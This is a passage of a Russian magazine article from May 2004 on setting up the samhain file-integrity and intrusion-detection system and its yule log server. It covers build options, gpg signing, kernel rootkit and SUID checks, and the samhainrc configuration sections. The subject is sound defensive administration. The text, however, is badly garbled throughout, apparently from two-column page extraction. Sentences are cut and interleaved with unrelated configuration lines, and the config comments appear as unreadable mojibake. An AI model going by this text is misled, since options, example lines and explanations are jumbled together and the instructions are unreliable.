# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ
# íà ðàáîòó, ïîëó÷èòü èíôîðìàöèþ. MountCheckInterval=7200
SuidCheckSchedule=30 5 * * *
# ñåðüåçíîñòü ñîáûòèÿ, åñòåñòâåííî, êðèòè÷åñêàÿ # ñåðüåçíîñòü ñîáûòèÿ, îòñëåæèâàåòñÿ ïðàâèëüíîñòü
# ìîíòèðîâàíèÿ è êîððåêòíîñòü îïöèè ìîíòèðîâàíèÿ
SeveritySuidCheck=crit SeverityMountMissing=warn
# òàê ìîæíî èñêëþ÷èòü îäèí êàòàëîã èç ñïèñêà ïðîâåðÿåìûõ
# (íàïðèìåð, ñòðîêà äëÿ Solaris) SeverityOptionMissing=warn
# ïåðå÷èñëÿþòñÿ òî÷êè ìîíòèðîâàíèÿ ñî ñïèñêàìè
#SuidCheckExclude=/net/localhost # ïàðàìåòðîâ, êîòîðûå íóæíî îòñëåæèâàòü
# òàê êàê ïðîâåðêà SUID/SGID – äåëî íàêëàäíîå, òî ìîæíî
# îãðàíè÷èòü êîëè÷åñòâî ïðîâåðÿåìûõ ôàéëîâ â ñåêóíäó checkmount=/
checkmount=/var
# (files per seconds) checkmount=/usr
SuidCheckFps=250
checkmount=/tmp noexec,nosuid,nodev
checkmount=/home noexec,nosuid,nodev
На все первоначально найденные SUID/SGID-файлы
будут выведены примерно такие сообщения: ! --enable-userfiles – еще один модуль от Computer
Incident Response Team, позволяющий отслеживать
изменения конфигурационных файлов пользовате-
лей вроде .profile. За настройку отвечает секция
А если найдутся новые, то программа начнет нервни- UserFiles:
чать и сообщит администратору о находке.
! --with-kcheck – (по умолчанию – нет) проверка систе- [UserFiles]
#
мы на наличие kernel rootkit загружаемых при помощи UserfilesActive=1
LKM (loadable kernel module). Хочется напомнить, что # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
# ôàéëû, ïðîâåðÿåìûå â êàæäîì $HOME
отказ от поддержки модулей в ядре, не устраняет их # âîçìîæíî çàäàíèå ñëåäóþùèõ óðîâíåé, îòñëåæèâàþùèõ
модификацию через /dev/kmem. Для GNU/Linux требу- # îïðåäåëåííûå èçìåíåíèÿ, ïî óìîë÷àíèþ èñïîëüçóåòñÿ
# noignore
ется указать место расположение файла System.map # allignore
(обычно строка выглядит так: --with-check=/boot/ # attributes
# logfiles
System.map), для FreeBSD этого не требуется. Для кон- # loggrow
фигурирования добавляем секцию Kernel: # noignore
# readonly
# user0
[Kernel] # user1
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) #
KernelCheckActive=1
# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ (ïî óìîë÷àíèþ 300) UserfilesName=.login noignore
KernelCheckInterval=20 UserfilesName=.profile readonly
# ïðîâåðêà interrupt descriptor table UserfilesName=.ssh/authorized_keys
# (ïî óìîë÷àíèþ TRUE) #
KernelCheckIDT=TRUE # âîçìîæíî çàäàíèå ñïèñêà ïðîâåðÿåìûõ UID, ïî óìîë÷àíèþ
# ñåðüåçíîñòü ñîáûòèÿ # ïðîâåðÿþòñÿ âñå ïîëüçîâàòåëè
SeverityKernel=crit UserfilesCheckUids=0,100-500,1000-

№5(18), май 2004 53


безопасность
! --with-trusted=0, UID1, UID2 – список доверенных поль- Для PostgreSQL установка будет выглядеть так:
зователей, которым разрешен доступ к файлам, в том
числе запись. По умолчанию UID равен 0, но можно че- # su postgres
$ createdb samhain
рез запятую добавить еще значения (не забыв про 0). С $ createuser samhain
одной стороны это облегчает работу и повышает защи- $ psql -d samhain < samhain.postgres.init
$ exit
щенность, т.к. нет необходимости лишний раз прибе-
гать к учетной записи администратора, но с другой сто- Для MySQL тоже не сложно:
роны нужно быть осторожным и внимательным, т.к. если
дополнительный доверенный пользователь является #mysql -p -u root < samhain.mysql.init
#mysql -p -u root
членом группы, то к файлам могут получить доступ и #mysqladmin -p -u root reload
члены группы. Также при использовании этой опции
могут возникнуть приблизительно такие проблемы: При использовании базы данных необходимо добавить
в секцию Log:

[Log]
DatabaseSeverity=warn

И создать секцию Database, изменив поля, значение


которых очевидно:

[Database]
SetDBName=db_name
SetDBTable=db_table
SetDBHost=db_host
SetDBUser=db_user
SetDBPassword=db_password
SetDBServerTstamp=true/false – timestamp äëÿ ñîîáùåíèé
êëèåíòîâ
Некоторые проблемы решаются просто, вроде этого:
! --with-gpg=/full/path/to/gpg – samhain использует GnuGP
# chown root:root /etc/samhainrc для подписи файла конфигурации и базы данных сиг-
натур, выдавая контрольную сумму. При этом ее все-
Но с другой стороны, при попытке изменить посторон- гда можно сверить, запустив:
ним одного из этих параметров, вы будете предупрежде-
ны. Дополнительно имеется опция --with-identity=USER, ко- gpg -a --clearsign --not-dash-escaped FILE
торая указывает на имя пользователя, которое будет ис-
пользоваться для понижения привилегий программы пос- Но использовав опцию --with-gpg, можно возложить часть
ле запуска (по умолчанию nobody). работы на samhain. При этом программа конфигурации про-
! --with-prelude – опция, благодаря которой я в принципе верит, чтобы доверенные пользователи имели доступ к gpg,
и обратил серьезное внимание на samhain. При ее а gpg будет вызываться без использования переменных обо-
включении возможно использование samhain как дат- лочки по полному пути, указанному при компиляции, со сре-
чика Open Source Hybrid Intrusion Detection System дой ограниченной переменной $HOME, используя файл
Prelude и контролировать еще ряд дополнительных $HOME/.gnupg. Для облегчения работы с подписью и про-
параметров, в том числе и сеть. Настройка самого веркой файлов имеется Perl-скрипт samhainadmin.pl, кото-
Prelude – тема отдельной статьи. Пока достаточно взять рый первоначально придется заточить под свою систему.
с http://www.prelude-ids.org/rubrique.php3?id_rubrique=6 При помощи опции --with-checksum=CHECKSUM мож-
файл библиотек libprelude и установить его обычным но вбить в программу контрольную сумму бинарника gpg,
образом. которая будет проверяться каждый раз при обращении к
! --enable-xml-log – журнал событий, по умолчанию на- нему, что позволит контролировать оригинальность gpg
ходящийся в /var/log/samhain_log, будет вестись в фор- (можно и отказаться, использовав --with-checksum=no).
мате XML, эта опция будет обязательной при включе- Контрольную сумму можно узнать, использовав такую
нии некоторых других опций (базы данных, например). команду:
! --with-database=[mysql|postgresql|oracle|odbc] – вклю-
чение поддержки выбранной базы данных, в которую #/usr/bin/gpg --load-extension tiger --print-md TIGER192 ↵
/usr/bin/gpg
затем будут заноситься данные (требует --with-xml-log,
PostgreSQL не любит опцию --enable-static). По умол- И теперь в строке конфигурирования:
чанию сервер базы данных размещается на localhost,
база данных называется samhain, содержит таблицу --with-checksum="/usr/bin/gpg: 1C739B6A F768C949 FABEF313 ↵
5F0B37F5 22ED4A27 60D59664"
«log», доступ к которой осуществляется без пароля.
Для автоматического создания соответствующей Но это еще не все, простой факт, что сигнатура явля-
базы данных и таблицы в комплекте имеются скрип- ется правильной, не доказывает, что это было подписано
ты «samhain.mysql.init», «samhain.postgres.init» и именно вами и вашим ключом – только доказывает, что
«samhain.oracle.init». это было подписано кем-то. Для того чтобы Samhain мог

54
безопасность
проверить, что именно ваш ключ использовался, необхо- может понадобиться при включении возможности подпи-
димо добавить опцию --with-fingerprint=FINGERPRINT. си своим ключом файлов, используемых samhain. Если
! --enable-stealth=xor_val, где xor_val может принимать используются ключи, сгенерированные ранее, то узнать
значение от 128 до 255. Еще одна довольно интерес- Key fingerprint можно, введя:
ная опция, позволяющая скрыть присутствие samhain
в системе. При этом все сообщения в журнале скла- # gpg --fingerprint Jaremchuk
дываются со значением xor_val, не зная которое, бу-
дет труднее прочитать записанное. Также журнал мож-
но будет подцепить в конец любого исполняемого фай-
ла или рисунка, а конфигурационный файл в режиме
стеганографии в файл Postscript. Правда, в последнем И конфигурируем клиента:
случае можно использовать вариант --enable-micro-
stealth=xor_val, когда конфигурационный файл прятать samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg
--with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333
не надо. Плюс дополнительно можно использовать --enable-login-watch --enable-mounts-check ↵
опцию --enable-nocl[=ARG], где ARG – магическое сло- --enable-userfiles --enable-static ↵
--enable-network=client --enable-suidcheck ↵
во, без которого не будет приводиться анализ аргумен- --with-trusted=0,500 ↵
тов командной строки. --with-recipient=sergej@ logserver.com ↵
--enable-xml-log --with-logserver=logserver.com ↵
--with-config-file=REQ_FROM_SERVER/etc/samhainrc ↵
И наконец, сетевые опции: --with-kcheck=/boot/ System.map
! --enable-network=[client|server] – эта опция включает
поддержку сети и в соответствии с выбранной уста- Во время конфигурирования сервера и клиента нарвал-
новкой будет скомпилирован клиент или сервер, при ся на такие ошибки:
этом их необходимо конфигурировать и компилировать
отдельно.
! --with-timeserver=HOST и --with-alttimeserver=HOST – ус- Сообщает, что для опции --with-database требуется оп-
тановка адреса для time-сервера основного и альтер- ция --enable-xml-log, что и добавляем в строку.
нативного.
! --with-logserver=HOST и --with-altlogserver=HOST – ука-
зание адреса log-сервера основного и альтернативного. Программа не может найти файл libprelude-config, вхо-
! --with-libwrap=PATH – компилирование с поддержкой дящий в библиотеку Prelude IDS. У меня он находился в
TCP Wrappers, и контроль доступа к log-серверу при каталоге /usr/local/bin, который не был виден в переменной
помощи файлов /etc/hosts.allow и /etc/hosts.deny. РАТН, лечится выполнением следующей команды (в bash):
! --enable-udp – включение прослушивания сервером
порта 514 для работы по протоколу UDP для получе- # export PATH=$PATH:/usr/local/bin
ния информации от syslog-клиентов.
! --with-port=PORT – изменение номера порта для про- Встретились незнакомые опции: --enable-static – для
токола TCP/IP (по умолчанию 49777). статической компиляции, является рекомендуемой с точ-
ки зрения безопасности. Строка --with-config-file= REQ_
На этом обзор основных опций предлагаю закончить и FROM_SERVER/etc/samhainrc указывает, что конфигура-
перейти к практической части, в ходе которой и будут рас- ционный файл следует брать с сервера, где он называет-
смотрены оставшиеся вопросы. Итак, конфигурируем кли- ся /etc/samhainrc, опция --with-recipient позволяет желез-
ента и сервер, вариант использования samhain на одной ло- но вшить в бинарник e-mail получателя отчетов, хотя при
кальной машине будем считать частным упрощенным слу- желании можно его задать и в конфигурационном файле.
чаем настройки клиента. Для начала заводим набор ключей В конце конфигурирования программа выводит при-
локальных gpg, можно использовать и имеющиеся, но я ре- близительно такой отчет:
шил для работы с samhain создать отдельный комплект.

# /usr/bin/gpg --gen-key

Обратите внимание на строку с Base key. Это еще один


механизм защиты, при котором во всех e-mail сообщени-
ях и логах будут использованы эти два числа, и если на
приеме программа обнаружит несоответствие Base key,
то такое сообщение будет признано ложным. При каждом
конфигурировании она будет разной, можно задать ее
Обратите внимание на строку Key fingerprint, которая самому при помощи опции --enable-base=B1,B2, где B1,B2

№5(18), май 2004 55


безопасность
целые числа в диапазоне 0...2147483647. Естественно, Далее следует секция [EventSeverity], в которой опре-
если используются прекомпилированные пакеты, то эти делена степень серьезности при нарушении описанных
числа будут для всех одинаковы и, вычислив путем де- выше событий (в отличие от опциональных пунктов, у ко-
компиляции программы их значение, злоумышленник торых серьезность внесена в саму секцию, здесь они со-
может подделывать сообщения (хотя согласитесь, что для браны отдельным пунктом). Имеется десять уровней се-
этого нужна и соответствующая подготовка, что не каж- рьезности события:
дый может себе позволить). Во избежание проблем в этом ! none – не обращать внимания, т.е. не регистрировать;
случае разработчики настоятельно рекомендуют добавить ! debug – отладочное сообщение;
ключ к каждому установленному файлу, выполнив: ! info – информационное сообщение;
! notice – ничего страшного (нормальное состояние);
samhain --add-key=key@/usr/local/sbin/samhain ! warn – предупреждение;
! mark – временная метка;
где число (а может и комбинация из различных знаков, я ! err – ошибка;
не нашел ограничений) без знака @, и в итоге будет со- ! crit – критическое событие;
здан еще один файл с префиксом .out, который нужно бу- ! alert – завершение программы, например по причине
дет переименовать в оригинальное имя. Пошли дальше. фатальной ошибки;
! inet – входящий от клиента.
samhain-1.8.3 # make
samhain-1.8.3 # make install
Однако, поскольку важность события – вопрос вкуса,
При компиляции с опцией --enable-khide обратите вни- некоторые имеют строгое обращение. При этом mark, alert,
мание на наличие подобных строк, указывающих на мес- inet относятся к предустановленным событиям, остальные
торасположение и наличие соответствующих модулей: уровни можно определять самим для конкретного случая.
Итак, пример.

Программа настоятельно предлагает подписать конфи- [Attributes]


# äëÿ ôàéëîâ, óêàçàííûõ â ýòîì ðàçäåëå, áóäóò
гурационный файл. Мы с его настройкой разберемся чуть # êîíòðîëèðîâàòüñÿ àòðèáóòû äîñòóïà
позже, тогда же и подпишем вручную. file=/etc/mtab
file=/etc/ssh_random_seed
После чего для возможности автоматического запус- file=/etc/asound.conf
ка утилиты выполняем: file=/etc/resolv.conf
file=/etc/localtime
file=/etc/ioctl.save
samhain-1.8.3 # make install-boot file=/etc
./samhain-install.sh --destdir= --express --verbose install-boot
Linux Standard Base system detected [LogFiles]
/usr/bin/ginstall -c -m 700 init/samhain.startLSB ↵ # â ýòèõ ôàéëàõ áóäóò ïðîâåðÿòüñÿ âñå, çà èñêëþ÷åíèåì
/etc/init.d/samhain # âðåìåííûõ ìåòîê äîñòóïà, ðàçìåðà è èçìåíåíèå ñèãíàòóðû
/usr/lib/lsb/install_initd /etc/init.d/samhain file=/var/run/utmp
installing init scripts completed file=/etc/motd

[GrowingLogFiles]
Этот шаг нормально отрабатывался на всех системах # òî æå, ÷òî è ïðåäûäóùèé ïóíêò, òîëüêî èçìåíåíèå ðàçìåðà
# ôàéëà áóäåò ïðîèãíîðèðîâàíî ëèøü â ñëó÷àå óâåëè÷åíèÿ
(проверял на Linux – Redhat, Gentoo и SuSE, а также во # ðàçìåðà ôàéëà
FreeBSD), и проблемы с автозагрузкой возникали только из- file=/var/log/warn
file=/var/log/messages
за неправильной настройки или недоступности тех или иных file=/var/log/wtmp
файлов. А если у вас не получилось, то возьмите за шаблон file=/var/log/faillog
один из предлагаемых вариантов, которые можно найти в [IgnoreAll]
подкаталогах init и profiles и заточите под свою систему. # âñå èçìåíåíèÿ â ýòèõ ôàéëàõ íå ïîïàäóò â îò÷åò, íî îíè âñå
# æå ïðîâåðÿòüñÿ áóäóò, ñþäà ìîæíî ïîìåñòèòü íå íóæäàþùèåñÿ
И теперь, наконец, сам конфигурационный файл. На- # â ïðîâåðêå ôàéëû ïðè ðåêóðñèâíîì îáõîäå êàòàëîãà
зывается он /etc/samhainrc (если только не использовалась file=/etc/resolv.conf.pcmcia.save
опция --enable-install-name или --enable-stealth). Внутри име- [IgnoreNone]
ется готовый шаблон, в котором для большинства случаев # äëÿ ýòèõ ôàéëîâ áóäóò âûâîäèòüñÿ â îò÷åò âñå âîçìîæíûå
# èçìåíåíèÿ, ðàçðàáîò÷èêè ðåêîìåíäóþò ñîçäàòü ïîäñòàâíîé
достаточно раскомментировать нужные параметры, при # ôàéë âðîäå /etc/passwd.bak è îòñëåæèâàòü ïîïûòêó îáðàùåíèÿ
этом опции, заданные в строке конфигурации, можно про- # ê íåìó
пускать, а можно дополнить дополнительными значениями. [ReadOnly]
В секциях [Attributes], [LogFiles], [GrowingLogFiles], [IgnoreAll], # äëÿ ýòèõ ôàéëîâ èãíîðèðóåòñÿ âðåìÿ äîñòóïà
dir=/usr/bin
[IgnoreNone], [ReadOnly], [User0] и [User1] задаются соответ- dir=/bin
ствующие политики для указанных внутри файлов и катало- dir=3/sbin
dir=/usr/sbin
гов. При этом возможно два варианта задания путей: dir=/lib
! file= /full/path/to/the/file – для указания непосредствен- dir=3/etc
dir=/boot
но на файл;
! dir= [recursion depth]/full/path/to/the/dir – для указания на И две секции [User0] и [User1], в которых по умолча-
обход каталога, при этом перед путем может ставить- нию отслеживаются и попадают в отчет все модифика-
ся цифра максимальной глубины рекурсии. ции. Но для каждой секции возможно переопределение

56
безопасность
по умолчанию выставленных параметров. Это особенно SeverityFiles=err
удобно при использовании секций [User0] и [User1], что SeverityDirs=err
# íåïîíÿòíûå èìåíà ôàéëîâ èëè íåäîïóñòèìûé UIDS/GIDS,
позволяет создать конфигурацию действительно на все # êîòîðûé íå ïðèíàäëåæèò íè îäíîìó ïîëüçîâàòåëþ èëè ãðóïïå
случаи жизни. Для этого в секции [Misc] создаются пара- SeverityNames=info
метры, соответствующие имени изменяемого поля с пре- И наконец, еще два обязательных раздела: Log – опи-
фиксом Redef, вроде RedefReadOnly, RedefAttributes, сывающий систему регистрации событий и Misc – общие
RedefUser0 и указанием параметра со знаком плюс (для установки. По умолчанию большая часть регистраторов
добавления), минус (для отмены контроля) и без знака для событий отключена, и поэтому нужно внимательно про-
установки. Параметры могут быть такие: CHK (checksum), смотреть эту секцию и выбрать необходимое. Здесь еще
LNK (link), HLN (hardlink), INO (inode), USR (user), GRP важно пару слов добавить о классах сообщений. Серьез-
(group), MTM (mtime), ATM (atime), CTM (ctime), SIZ (size), ность события ранжирует сообщения по их важности, клас-
RDEV (device numbers) и MOD (file mode). сы относятся к категориям сообщений, призванным умень-
Опции, указанные в файле, в случае использования шить вывод, например, рассматривая сообщения в неко-
единого централизованного файла будут действительны тором контексте (запуск от cron при котором сообщения
для всех клиентов, что не всегда нужно. Для возможности запуска и остановки могут быть лишними). Сообщения
задания индивидуальных для некоторого узла или систе- будут регистрироваться, только если их серьезность со-
мы параметров возможно использование в разделах лю- ответствует заявленной, и класс сообщения имеется в
бого количества инструкций вида: списке. При этом по умолчанию регистрируются все клас-
сы, и параметр none отключает регистрацию.
@HOSTNAME С версии 1.8.2 регистрируются следующие классы.
file=/path/to/file
@end

Или обратной конструкции, т.е. для всех, кроме:

!@ HOSTNAME
file=/path/to/file
@end

Или для некоторых систем (uname -srm):


Пока еще поддерживаются старые классы сообщений,
$sysname:release:machine но скорее всего от них нужно потихоньку отвыкать, поэто-
# ÷òåíèå, òîëüêî åñëè sysname:release:machine
# ñîîòâåòñòâóåò ëîêàëüíîìó êîìïüþòåðó му и не будем о них говорить. Также по умолчанию в лог-
$end сервере отключена регистрация клиентских событий на
!$sysname:release:machine
# íàîáîðîò syslog и e-mail, которая, впрочем, там совсем и не к чему.
$end Но если это все-таки необходимо, то для возможности
включения в секции [Misc] пропишите параметр UseClient
При этом HOSTNAME должно быть полное доменное Severity=yes. Возможно использование спецификаторов
имя вроде server.com без всяких псевдонимов и IP-адре- «*», «!» и «=», которые означают соответственно «все»,
сов. Теперь такая ситуация: некоторые файлы вы хотите «все кроме» и «только», а также инструкции LogCalls с
проверять, допустим, раз в час, а всю систему только раз указанием системных выводов, которые необходимо ре-
в день. Такая ситуация также предусмотрена. Для этого гистрировать (только для консоли и syslog): execve, utime,
используется конструкция: unlink, dup (+ dup2), chdir, open, kill, exit (+ _exit), fork, setuid,
setgid, pipe.
%SCHEDULE_TWO
dir=/check/only/once/per/day [Log]
!%SCHEDULE_TWO # ïðèìåð èñïîëüçîâàíèÿ ñïåöèôèêàòîðîâ
# MailSeverity=*
и в разделе Misc прописываем crontab-подобное задание # MailSeverity=!warn
# MailSeverity==crit
вроде: # ïîðîãè äëÿ êàæäîãî ðåãèñòðèðóþùåãî óñòðîéñòâà
MailSeverity=none
FileCheckScheduleTwo=00 * * * * PrintSeverity= info
LogSeverity= err
LogClass=RUN FIL STAMP
SyslogSeverity=none
Теперь пример секции EventSeverity. ExportSeverity=warn
PreludeSeverity=none
[EventSeverity] DatabaseSeverity=err
#íèæå óêàçàíû óðîâíè íàðóøåíèÿ ñîîòâåòñòâóþùèõ ïîëèòèê # ñèñòåìíûå âûçîâû
LogCalls=open, kill, setuid, setgid
SeverityReadOnly=crit
SeverityLogFiles=crit
SeverityGrowingLogs=crit [Misc]
# ñòàðò â âèäå ïðîöåññà-daemonà
SeverityIgnoreNone=crit Daemon=yes
SeverityAttributes=crit
# # ìàêñèìàëüíîå âðåìÿ ìåæäó ñîîáùåíèÿìè êëèåíòîâ â ñåêóíäàõ
SeverityIgnoreAll=info # (òîëüêî äëÿ log-server; ïî óìîë÷àíèþ 86400 ñåê. = 1 äåíü)
# îøèáêè äîñòóïà ê ôàéëàì è êàòàëîãàì
# SetClientTimeLimit=1800

№5(18), май 2004 57


безопасность
# âðåìÿ ìåæäó ïðîâåðêàìè ôàéëîâ â ñåêóíäàõ (600) # ôîðìàò çàãîëîâêà ñîîáùåíèÿ
#SetFilecheckTime=1000 # %S ñåðüåçíîñòü
# %T timestamp
#èëè ïðîâåðêà â ñòèëå crontab # %C class
#FileCheckScheduleOne=00 * * * * # %F èñõîäíûé ôàéë
# %L èñõîäíàÿ ñòðîêà
# äëÿ ôàéëîâ ðàçäåëà SCHEDULE_TWO # MessageHeader="%S %T "
#FileCheckScheduleTwo=00 * * * * [EOF]

# ìàêñèìàëüíîå âðåìÿ ìåæäó îòïðàâêàìè ïî÷òû, âñå ñîîáùåíèÿ Хочется отметить, что это далеко не все опции, только
# êðîìå àâàðèéíûõ ïðè ýòîì áóäóò íàêàïëèâàòüñÿ (86 400 ñåê.) основные, остальное в документации. Также samhain мо-
#SetMailTime=43200
жет выполнять внешние команды, например для допол-
# ìàêñèìàëüíàÿ çàäåðæêà âî âíóòðåííåé î÷åðåäè îò 0 äî 127 нительного форматирования сообщения, отправки SMS
# (ïî óìîë÷àíèþ 10)
#SetMailNum=10 или изменения настроек IDS или firewall. Для этого исполь-
# óñòàíîâêà àäðåñà ïîëó÷àòåëÿ, ïîçâîëÿåòñÿ äî 8 àäðåñîâ
зуется отдельная секция [External], описание которой най-
# äî 63 ñèìâîëîâ. дете в разделах «Calling external programs» и «External»
SetMailAddress=root@localhost документации.
# host äëÿ îòïðàâêè ïî÷òû ïî óìîë÷àíèþ ëîêàëüíûé – none После создания конфигурационного файла, подписы-
# SetMailRelay=relay.yourdomain.com èëè IP-àäðåñ ваем его:
# Äëÿ ïðîâåðêè ìîäèôèêàöèé ìåæäó çàïóñêîì ïðîãðàììû
# è âûõîäîì. # gpg -a --clearsign --not-dash-escaped /etc/samhainrc
# SamhainPath=/usr/local/bin/samhain
# time-ñåðâåð (ïîðò 37/tcp)
# SetTimeServer=localhost
# log-ñåðâåð После чего в текущем каталоге появится файл с пре-
# SetLogServer=localhost
фиксом .asc, т.е. samhainrc.asc. Для работы переимено-
# timestamp â ìåñòíîì âðåìåíè èëè GMT вываем его:
UseLocalTime=yes
# èíòåðâàë ìåæäó ñîîáùåíèÿìè timestamps, êîòîðûå áóäóò # mv -f /etc/samhainrc.asc /etc/samhainrc
# âñòàâëåíû â ñîîáùåíèÿ â òàêîì âèäå
# MARK : [2004-03-21T19:49:45+0200] msg=<-- TIMESTAMP -->
# 77B71CEA79D01107AE9FAA66233A059D0FDC3B33FBA74700 Проверить подпись можно в любое время командой:
# SetLoopTime=60
# ñþäà ìîæíî äîáàâèòü äîâåðåííûõ ïîëüçîâàòåëåé, íå âêëþ÷åííûõ # cat /etc/samhainrc | gpg --status-fd 1 --verify ↵
# ïðè êîìïèëÿöèè (root è ïîëüçîâàòåëü, îò èìåíè êîòîðîãî --homedir /root/.gnupg --no-tty
# âûïîëíÿåòñÿ ïðîãðàììà, âñåãäà äîâåðåííûå)
# TrustedUser=bin
# ÷åì çàíèìàåìñÿ: èíèöèàëèçàöèåé áàçû äàííûõ, îáíîâëåíèåì
# èëè ïðîâåðêîé ôàéëîâ, åñëè none (ðåæèì ïî óìîë÷àíèþ),
# òî êîìàíäà çàäàåòñÿ â ñòðîêå çàïóñêà. init|update|check|none
ChecksumTest=check
# óñòàíîâêà ãëîáàëüíîãî çíà÷åíèÿ ðåêóðñèè (ìàêñèìóì 99,
# ïî óìîë÷àíèþ - 0)
SetRecursionLevel=20
# ïðèîðèòåò ïðîöåññà ïðîâåðêè ôàéëîâ
#SetNiceLevel=-19..19
# âñå êëèåíòñêèå ñîîáùåíèÿ ïî óìîë÷àíèþ çàïèñûâàþòñÿ â îäèí
# log. Îïöèÿ ïîçâîëÿåò èñïîëüçîâàòü èíäèâèäóàëüíûå æóðíàëû
#UseSeparateLogs=yes/no Теперь, когда все готово, можно приступать к созда-
# âîçìîæíî ïåðåîïðåäåëåíèå êîíñîëè, â òîì ÷èñëå
нию базы данных:
# è èñïîëüçîâàíèå pipe-êàíàëîâ.
#SetConsole=device # /usr/local/sbin/samhain -t init
# èñïîëüçîâàíèå ñîîòâåòñòâóþùèõ àëãîðèòìîâ äëÿ âû÷èñëåíèÿ
# çíà÷åíèÿ êîíòðîëüíûõ ñóìì ôàéëîâ, âìåñòî TIGER В результате в каталоге /usr/local/var/lib/samhain/ по-
# (èñïîëüçóéòå îäèí è òîò æå òèï ñèãíàòóðû íà ñåðâåðå
# è êëèåíòàõ) явится файл samhain_file, который содержит все сигнату-
#DigestAlgo=MD5 ры на момент инициализации, с которыми и будут срав-
#DigestAlgo=SHA1
# óïðîùåííàÿ ñèãíàòóðà, ìîæåò ïîíàäîáèòüñÿ äëÿ ïîâûøåíèÿ ниваться в дальнейшем параметры. Во избежание моди-
# áûñòðîäåéñòâèÿ, ïîäðîáíåå â ðàçäåëå "Performance tuning" фикации ее также рекомендуется подписать, схема ана-
#MACType=HASH-TIGER
# íà÷èíàÿ ñ âåðñèè 1.7.0, yule ìîæåò ïîñëå çàïóñêà ïåðåõîäèòü логична предыдущей:
# â chroot (ïîäðîáíåå â äîêóìåíòàöèè)
#SetChrootDir=path
# gpg -a --clearsign --not-dash-escaped ↵
# îïöèÿ, íåîáõîäèìàÿ äëÿ âêëþ÷åíèÿ ïðîñëóøèâàíèÿ UDP-ïîðòà /var/lib/samhain/samhain_file
# log-ñåðâåðîì (ïðè êîìïèëèðîâàíèè ñ îïöèåé --enable-udp) # mv /var/lib/samhain/samhain_file.asc ↵
SetUDPActive=yes /var/lib/samhain/samhain_file
# åñëè â âàøåì âûâîäå ìíîãî ñîîáùåíèé îá èçìåíåíèè CTIME,
# ÷òî ìîæåò ïðîèñõîäèòü ïðè èñïîëüçîâàíèè íåêîòîðûõ ñèñòåì
# ðåçåðâèðîâàíèÿ, òî ìîæåò ïîìî÷ü íèæíÿÿ îïöèÿ, îòêëþ÷àþùàÿ Проверить соответствие можно командой:
# ýòó ïðîâåðêó
#RedefReadOnly=-CTM
samhain -t check

58
безопасность
после чего на регистраторы, описанные в конфигураци- После конфигурирования получаем отчет об установках.
онном файле, будет поступать информация. В случае гло-
бальных изменений обновить базу можно командой:

samhain -t update

Но наибольшее преимущество достигается при запус-


ке этой утилиты в качестве демона, тогда программа за- Компилируем и устанавливаем:
поминает все изменения и не будет раздражать повторя-
ющимися сообщениями. К тому же только тогда будут в samhain-1.8.3 # make
samhain-1.8.3 # make install
полной мере задействованы все дополнительные возмож- samhain-1.8.3 # make install-boot
ности в виде проверок на kernel rootkits и пр. Запустить
можно тремя способами: при установке Daemon=yes сек- Конфигурационный файл сервера yule называется /etc/
ции Misc и запуска без параметров, программа все ос- yulerc, его структура похожа на samhainrc, за исключением
тальное, необходимое для работы, возьмет из конфигу- отсутствия секций проверок (остались Misc, Database, Log и
рационного файла; аналогично программа себя поведет External) и добавления секции Clients. Первые секции полно-
при запуске при помощи стартовых скриптов, расположен- стью рассмотрены раннее и хотя есть незначительные отли-
ных в /etc, например /etc/rc.d/samhain start, и наконец ука- чия (например, TrustedUser не имеет пользователя по умол-
зав, чем ей заниматься в строке запуска: чанию), но останавливаться на них не будем. Разберем раз-
дел Clients. Вы не ошибетесь, если подумаете, что в ней опи-
samhain -D -t check сана регистрация клиентов. Каждый клиент в файле описан
строкой: Client=HOSTNAME_ CLIENT1@salt@verifier.
где -D указывает на запуск в виде процесса-демона. Для того чтобы создать запись для каждого клиента,
Но для нормальной работы в среде клиент-сервер для необходимо выполнить несколько простых шагов:
начала придется установить и настроить сервер yule, ина- ! выбрать пароль в 16 символов (только знаки 0-9, a-f,
че клиенты будут ругаться при запуске о том, что не могут A-F). Для автоматического генерирования случайных
найти конфигурационный файл и будут пользоваться ло- паролей используйте опцию --gen-password (или -G).
кальным.
# /usr/local/sbin/yule -G
477631269C2CC74B

! на клиенте при помощи samhain_setpwd установите но-


вый пароль (без параметров утилиты выдаст исполь-
зуемые опции).

Конфигурация сервера yule требует меньших опций, # ./samhain_setpwd samhain new 477631269C2CC74B
т.к. его задача только собирать логи. При необходимости
защиты и самого сервера на нем устанавливается и
samhain. Я не буду останавливаться подробно, так как
многие вопросы аналогичны установке и конфигурирова- Получившийся файл samhain.new переименовываем в
нию клиента samhain. samhain:

samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg # cp /usr/local/sbin/samhain.new /usr/local/sbin/samhain


--with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333
--enable-static --enable-network=server ↵
--with-database=mysql --with-trusted=0,500 Впрочем, эту операцию можно проделывать и на сер-
--with-libwrap=/usr/lib/libwrap.a
вере, копируя затем файлы samhain.new на клиентс-
Чтобы узнать местонахождение библиотеки libwrap, кие компьютеры при помощи, например, ssh.
используем следующую команду: ! на сервере создаем комбинацию для регистрации кли-
ента:
# whereis libwrap
libwrap: /usr/lib/libwrap.a # /usr/local/sbin/yule -P 477631269C2CC74B
И еще небольшое примечание, возможно использова-
ние единой базы для всех клиентов. Для ее активации
требуется использование примерно такой опции:

--with-data-file=REQ_FROM_SERVER/var/lib/samhain/data.samhain
Заменяем HOSTNAME на полное доменное имя кли-
Но как мне кажется, это не во всех случаях приемлемо и ента вида client.mydomain.com и заносим эту строку в
удобно, в том числе могут возникнуть и проблемы безопас- секцию Clients.
ности, кому интересно, детали, как всегда, в документации. ! Повторяем эту процедуру для каждого клиента.

№5(18), май 2004 59


безопасность
После запуска сервера и клиентов последние начинают
устанавливать соединение с сервером. Проблемы при ра-
боте возникали в основном из-за неправильной настройки
сети, служба DNS не могла определить имя (лучше пропи-
сать в /etc/hosts, в документации показано, как правильно
это сделать), при компиляции с поддержкой libwrap не про-
писал клиентов в файле /etc/hosts.allow. В последней версии
появился документ, описывающий основные проблемы, воз-
никающие при взаимодействии клиентов и сервера и пути
их решения – HOWTO-client+server-troubleshooting.html. Со-
